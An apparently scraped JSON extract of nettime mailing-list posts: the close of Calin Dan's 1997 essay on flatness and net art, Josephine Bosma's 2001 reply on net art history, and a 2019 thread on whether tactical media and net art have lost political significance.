lesser\ntimes was named revelation or religious feeling.\n\n9. *Statement for a flat interactivity*. The (new-) screen mentality\ndeveloping in the track of the www adds some extra confirmation to evidence\naccumulated during the short but by now tormented history of the moving\nimage. Precisely to the facts that: a) cinema was not a plug in for the\nRenaissance optical cube; and b) the moving images did not increase the\nmeaning of tri-dimensionality. From film to TV to computer, the visual\nlanguage didn't mark an \"evolution\", but spiraled back towards a\n(meta/pre)historic flatness.\n\nThe shocking window opened by the Lumi\u010dre brothers' first movie projection\nin the wall of a cabaret theater was already containing the prophecy of\nflatness: light, movement and prospective cannot change a steaming engine\nor a traveling happy bourgeois family into something different. What\nmaintained active for decades the hypnotic force of cinema is the revival\nof an old theatrical recipe: how to install a ritual atmosphere by working\nthe illusion of depth with the help of controlled light and multi-layered\nflatness. That was actually how the medieval \"misterium mysticum\"\nperformances were staged; that is the way theaters were build from the\nbaroque times until the 19 century - with layers of flat decorum propelled\nwith invisible cranes, wheels and ropes, in a scenario of interactivity\nwhere the button could be a word, a gesture, the sound of an instrument.\nAll under the supreme rule of light control.\n\nWhat ruined the hypnosis and revealed the flatness of the procedure was the\ninterference of uncontrolled light. (Dominant light is actually one of the\nembarrassments of modernism, introduced by Copernicus with his perception\nof the universe. The ecumenism of electricity, defined otherwise as >the\n4th dimension<, is another one.) The installation of more casual moving\nimage devices in our domestic decorum abolished the miracle of light\neffects, but enhanced flatness as an obvious quality of information.\n\nTV broadcast, video games, web pages with hyper-text structures prove\nprecisely the opposite of what is commonly assumed at this moment. We are\ndefinitely not in the way to capture the 3d in the box of our display\nmonitors, or to build an electronic/digital equivalent of the theatrical\nvision (from light cube to light tube, if I may; here has to be mentioned\nanother embarrassing heresy of modernism - the optical prospective as\nsettled in the 15 century by L. B. Alberti). But we might be close to\nachieve the goal underlining the image making process for millennia: a\nsynthesis of the meaningful flatness of representation with the symbolic\ndepth of movement.\nWe might also have an opportunity to finally acknowledge a consistent\nalthough remote fascination for the flatness of the images, even when\nanimated.\nFlatness is a dangerous component of reality, as far as it is not assumed\nas such. Art history can be red as a history of failures due to the\noppression of flatness. Let's say.\n\nThe Magdalenian hunters scribbling the walls of the European caves, or the\nnomads painting the rocks at Tassili have an understanding for the\nemergencies of mental perception and a knowledge of the ways to fulfill\nthem. In times of magic relation with the environment, a flattened\nrepresentation is both an instrument of control and a carrier of superior\npowers. By flattening the essential aspects of his surrounding (animals to\nhunt, enemies to defeat), the \"pre-historic\" painter doesn't operate a\nreduction, since by that way he can capture a spiritual dynamic via a\nfrozen movement.\nThe eye does not perceive the movement of the buffalo. The drawing does.\nAnd by that it makes obvious another level of the real, the hidden faces of\na world otherwise perceived boldly, like a container filled with hostile\nevents. Mapping that container pushes in view the movements and the vectors\nwhich give sense to this world. In other words, the world is eventually\nflat, and dynamic. And therefore meaningful.\n\n3d is predictable, therefore oppressive and limiting. 3d is like\ncensorship. While flatness is comprehensive in a way which gives room to\nthe imagination for building other dimensions too.\n\nLater on in time, the refinement of representation still keeps for a while\nthe dialectic approach to flatness. Where the Egyptian painting gives a\nprospective, it does so precisely in order to capture the movement, to\nsuggest the vibration of the monumental form, and not in order to play with\nillusions of volume and masses. In those times, human and animal are still\nhomologue categories - floating shapes in a shamanic flux which unifies the\nenergies of cosmos.\n\nFlatness was magic - 3d is ideology. When sculpture became a public\nentertainment, allowing the pedestrians to turn around carved figures, the\nbond to the domain of magic understanding was displaced by the veil of\nmisunderstandings, instrumental for the political power to keep a grip on\nreality. This process begun roughly in the Roman times, and it had a simple\nmechanics: making the real look unreal if compared to the powerful illusion\nof prospective. Before that, the sculptures were confined to the\narchitecture of the temple, altar, mountain. Sometimes they were even\nimpossible to be viewed. They were concepts. And concepts move in the thin\nair of flatness.\n\nThe taking off point for any good interactive situation is to assume the\nflatness of the screen as an evidence that cannot be transcended just by\nillusionist procedures; like the flatness of the Earth cannot be denied\njust by satellite photography technologies. As far as our daily trade\nproves, we live on a flat planet and we look at flat surfaces where flat\nshapes happen to move. Interactivity cannot and does not have to go further\nthan the flatness of data which allows information to achieve beyond-the-3d\nperformances. Two dimensions + movement = Multi-dimensional content. The\nformal aspects of such a process are undefinable, but the requirements are\nthere - on the net: the poverty of the tools, the emphasize on\ntransmission, the fluidity of the connections. A return to older visions\nmight be possible via net art. Or not.\n\nThe true virtual reality is the one which goes further than the third\ndimension, keeping at the same time a flat vision, which is the vision of\n(f)light . The VR we know now is just the cyber equivalent of the bourgeois\nrealism, a fascinating kitsch defined by basic similarities, effective and\naddictive because it cuts down any chance for the uncontrolled to burst in\nour hyper controlled environments. VR and 3d are the sedatives who keep the\nundisturbed life consumers from becoming life critics.\n\nTherefore, we must be cautious with a theoretical heritage who states that\n\"escaping [...] flatland is the essential task of envisioning\ninformation\"[1], and look into more obsolete experiences like the history\nof the collage [2], or the stage writings of Schlemmer [3]. Envisioning\ninformation means precisely capturing its essence - which is flat speed.\n\n10. The image of the modern artist was forged during the Italian\nRenaissance through a dispute which engaged for about one hundred years\nsome of the most outstanding personalities of the Quattro- and Cinquecento.\nIt was the dispute between the Liberal Arts (Ars Liberalis) and Mechanic\nArts (Ars Mechanicae).\nThe division, based on statements of the antique philosophy (mainly Plato)\nwas quantified in the Middle Age, when human activities have been\nclassified into superior and inferior \"arts\". The superior arts, emanating\n*only* from the spirit, and therefore \"Liberal\" were: Grammar, Rhetoric,\nLogic (the so called Trivium), respectively Geometry, Arithmetic, Music,\nAstronomy (Quadrivium). The \"inferior\" ones were all activities involving\nthe mechanics of the body or of the machines, no matter what the purpose of\nthe application was. That is how architecture, painting and sculpture, the\nmain domains of the visual creativity were nevertheless - mechanic arts.\nAll this was encoding an old prejudice about the superiority of theory over\npractice, intellectual over physical (work), invention over execution,\nillusion over representation, concepts over objects etc. etc. And mirrors\neventually top to bottom social structures, divided in masters and serfs,\nnoblemen and artisans, gods and mortals.\n\nThe Renaissance succeeded in changing the status quo by including the\nvisual arts among the other \"liberal\" activities, and therefore giving a\nchance to an integrated model of creativity, where the sensorial and\ntheoretical levels could become convergent. [4] The failure of this model\ncame precisely through the institutions meant to promote it, who enhanced\nthe economic aspect of the mutation at the disadvantage of the spiritual\nones. The liberation from the manufacturing circuit of\nproduction-gratification never occurred, in fact. It was just hidden behind\nthe screen of academic institutions who enhanced the gap between manual\nwork and intellectual satisfaction, instead of erasing it. Socially\nspeaking, the artists remained what they were before - artisans, but\nloosing in their new ambition schemes the niche reserved to them\npreviously, for a floating situation where individualism prevailed, without\nbeing necessarily a solution.\n\nWhat we experience in the nettimes is another attempt to integrate visual\nand conceptual (iconic and discursive) models in a unique flow of data.\nAnother attempt to modify the status quo of creativity by going beyond the\n\"mechanics\" of expression. And the danger remains the same - that the\ninstitutions which have to work out this change will fail the expectations\ninvested in them. That the social needs are again to far to be reached via\ntheoretic restlessness. That the digital priests will remain artisans, this\ntime >digital artisans< (the concept of Richard Barbrook).\n\nThe internet is seen now in many ways: as a social model, a\npsycho-metaphor, a religious interface, a cult, a communal tool etc., etc.\nIt is also, more and more, a play field for cloning the real world in a\nflattened un-reality. But this time a *truly flat* one, with no metaphysics\nwhatsoever. Therefore the idea of net art comes on a ground virtually\npolluted by all the failures and prejudices which make\nart-of-the-real-world so outdated. If this can be changed is a suspended\nquestion, but a challenging one, no doubt about it.\nHappy Doomsday!\n                                                                C\u0103lin Dan\n\nNOTES:\n\n[1] Edward R. Tufte - \"Envisioning Information\", Cheshire, Connecticut,\n1990, p.12; an otherwise excellent book about quantifying information in\nvisual contexts.\n[2] A fresh approach to the subject in Dorothea Dietrich, \"The Collages of\nKurt Schwitters. Tradition and Innovation\", Cambridge University Press,\n1993.\n[3] For instance, Oskar Schlemmer, Laszlo Moholy-Nagy, Farkas Molnar, \"The\nTheater of the Bauhaus\" (editor Walter Gropius), London, 1979.\n[4] More about this anachronistic topic in Anthony Blunt, \"Artistic Theory\nin Italy 1450-1600\", Oxford, 1940.\n\n\n\n\n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 29 Apr 1997 23:31:21 +0200 (MET DST)",
                "to": "nettime {AT} is.in-berlin.de",
                "message-id": "v02140b00af8c10addc7b {AT} [194.134.8.58]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00003.html",
                "list": "nettime_l",
                "author_name": "Calin Dan",
                "subject": "<nettime> art in the nettimes etc."
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00162",
                "content": "\njosephine starrs wrote:\n\n> we in 'vns matrix' (cyberfeminist artist group) were making interactive\n> artworks and text based performances on the internet pre web days.... as\n> were others.......so i always thought the term net.art should have been\n> web.art as this genre of art only came about with the introduction of the\n> world wide web to the internet.\n\nIt is a common misunderstanding to think net art started when the term\nnet.art was first used. It has been important to emphasize the works\nwithin net.art for a while though, as at that time (1996/1997) art on\nthe net became something art historians and curators started to get\ninterested in (I guess it was maybe at that time that the net and web\nstarted to grow fast/become really crowded), but in the first texts I've\nseen they mentioned works and artists that were very different from what\nfor instance Tilman Baumgaertel and yours truly (and others too!) saw\naround us. It was always Jenny Holzer, Julia Scher at most... A lot of\nnet.art had a very different feel, and it could have very easily missed\nthe boat (of recognition). I would prefer not to get into a discussion\nabout how it might have been better for this art NOT to have been\nrecognised, which is an opinion I find total nonsense and I am fed up\nwith it. \nConfusing net art with web art is a horror in my point of view. But this\nconfusion comes also from the fact that, regardless of how some\nnet.artists or fans of old net.art like to proclaim, the discourse\naround net art is still developing. Don't forget we are mostly\ndeveloping this discourse online (there is very little room for it in\nthe printed and other media, apart from some very badly distributed\nbooks which mostly cover aspects, bits and pieces), within a very broad\n'community', where it is constantly surrounded by a lot of noise (people\nstill claiming net art has no quality, claiming a clear beginning and\nend of it, an older new media generation (by far not all of them thank\ngod) feeling passed by works they cannot appreciate or maybe even\nunderstand etc etc). There have been texts about net art which show,\noften between words, that the term net art really came later then the\n'methods' of working within net art themselves. It would be ever so\npleasant if that fact would be used in a positive sense towards the\nspecific artworks, and would give these practices a chance to connect\nwith art history in their own right: recognition of their specificity\n-and- their relatedness at the same time. \nThe term net art is so confusing that many have tried to find a new\nterm, but I have never really heard one that covered art in a networked\nsociety better then net art. I also feel it is important to keep the\nword 'net' in for reasons of media politics/tactical media use, which\nare of course of great importance to art practice in this context. It\nwould be too easy to ignore the importance of what the net has brought\npeople (which artists still also are) in terms of playfullness, media\naccess and 'media awareness'. This might all sound like a lot of fuss\nover terminology only, but at the moment such a fuss is clearly still\nnecesary.\n \n> i was recently at an event where some of these artists were calling\n> themselves 'the fathers of net.art'\n> ....i guess the 'father's of web.art' doesn't sound quite as sexy, but i\n> think you art historians should maybe point out the difference in your\n> texts as you assign male authorship in your art discourses as you have\n> throughout history.\n\nIt is -very- understandable the words 'the fathers of net.art' make you\neither fall from your chair laughing or crinch with embarrassment. I\nhave never heard anyone use it. The point you make is interesting, but\nyou are not suggesting we point at a female authorship in this case? The\nhistory of net art does not really have a clear starting point to begin\nwith (if we include all kinds of forerunners throughout art history). Is\nthat female enough? (just kidding)\n\n\n\nbest\n\n\nJ\n*\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Thu, 15 Feb 2001 20:10:52 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102160124.UAA07275 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00162.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> Re: [Nettime-bold] Re: net art history"
            },
            {
                "id": "00108",
                "content": "What characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?Or is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?If you've read or written anything that you think might be interesting I'd love to hear about it,Best,Rachel\n\nA bit more detail about why I'm asking this question:\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\nBut I\u2019m feeling a bit paralysed.\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n-- http://www.rachelodwyer.com/+353 (85) 7023779\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                "to": "Nettime <nettime-l@mail.kein.org>, nettime-l <nettime-l@kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00108.html",
                "list": "nettime_l",
                "author_name": "Rachel O' Dwyer",
                "subject": "<nettime> Has net-art lost political significance?",
                "from": "\"Rachel O' Dwyer\" <rachel.odwyer@gmail.com>",
                "follow-up": [
                    {
                        "from": "Gary Hall <mail@garyhall.info>",
                        "content": "\n  \n  \n    Hi Rachel,\n    I'm not sure it's exactly what you have in mind. But just in case\n      it helps, you could take a look at some of the artists and art\n      activist projects that made up the second day of the Pirate Care\n      conference last week:\n    https://www.coventry.ac.uk/research/about-us/research-events/2019/pirate-care-conference/\n    \n    Hopefully, we should be able to make some recordings available in\n      the not too distant future.\n\n \n    \n    Best, Gary\n    \n    \n    \n    On 27/06/2019 11:27, Rachel O' Dwyer\n      wrote:\n    \n    \n      \n      \n        \n          \n            What\n              characterises media art interventions in the context of\n              \u2018surveillance capitalism\u2019, platforms and the gig economy?\n              Are these practices still meaningful or, as F.A.T. Lab\n              claimed in 2015, \n\nhave they lost political significance in\n              the face of global platforms?\n            \n            \n\n\n            \n\nCan we still speak about \u2018tactical media\u2019\n                or \u2018the exploit\u2019, and if not is this because\n\n\n            a) network activism has transformed so that\n                these older descriptions no longer accurately describe\n                net art and \u2018hacktivist\u2019 practices, or\n\n\n            b) these art practices have stayed much the\n                same, but they are no longer effective in the current\n                political and economic context?\n            \n\n\n            I\u2019m wondering if anyone knows of any\n                writing that attempts to theorise/frame media art\n                activist work post 2012? Perhaps to speak about it as a\n                set of practices discrete from theories of \u2018tactical\n                media\u2019 or \u2018the exploit\u2019 that go before? Perhaps\n                something on post-internet art and activism?\n              \n            Or is it a case of looking at writing about\n                activism in the face of defeat and what seems like a\n                hopeless cause?\n            \n              \n            If you've read or written anything that you\n                think might be interesting I'd love to hear about it,\n            \n              \n            Best,\n            \n              \n            Rachel\n            \n\n\n            A bit more detail about why I'm asking this\n                question:\n\n\n            I\u2019m currently writing about various\n                tactical and activist practices in the wireless space,\n                including artistic interventions, software-defined radio\n                communities who are reverse-engineering, hacking,\n                sniffing and jamming signals, communities and activists\n                who are building communal Wi-Fi and cellular networks\n                and artists making work in or about the politics of the\n                wireless spectrum \u2013 who owns it, how it\u2019s controlled and\n                so on.\n\n\n            But I\u2019m feeling a bit paralysed.\n\n\n            I love these works; I love their inventive\n                materiality and the ways that they exploit and\n                reverse-engineer existing systems, but I don\u2019t know what\n                claims I can make for their political impact. And yet I\n                feel that this work is still very worthwhile.\n\n\n            \n\n\n            \n\n\n            \n            \n            -- \n            \n              \n                http://www.rachelodwyer.com/\n                  \n                  +353 (85) 7023779\n              \n            \n          \n        \n      \n      \n      \n      #  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n    \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00110",
                        "date": "Thu, 27 Jun 2019 13:26:26 +0100",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "d22c5405&#45;9420&#45;2a85&#45;4a03&#45;7f2243c2f321@garyhall.info",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00110.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Gary Hall",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "Minka Stoyanova <theartist@minkaart.net>",
                                        "content": "Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\t\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                        "id": "00118",
                                        "date": "Sun, 30 Jun 2019 17:04:57 +0300",
                                        "to": "voyd@voyd.com",
                                        "message-id": "CAEbi+4RkBHPQFVGuBPFLoXqA1KnSEscdhhDQbkDrOQQvRju9aQ@mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00118.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Minka Stoyanova",
                                        "subject": "Re: <nettime> Has net-art lost political significance?"
                                    }
                                ],
                                "from": "voyd@voyd.c",
                                "content": "So interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
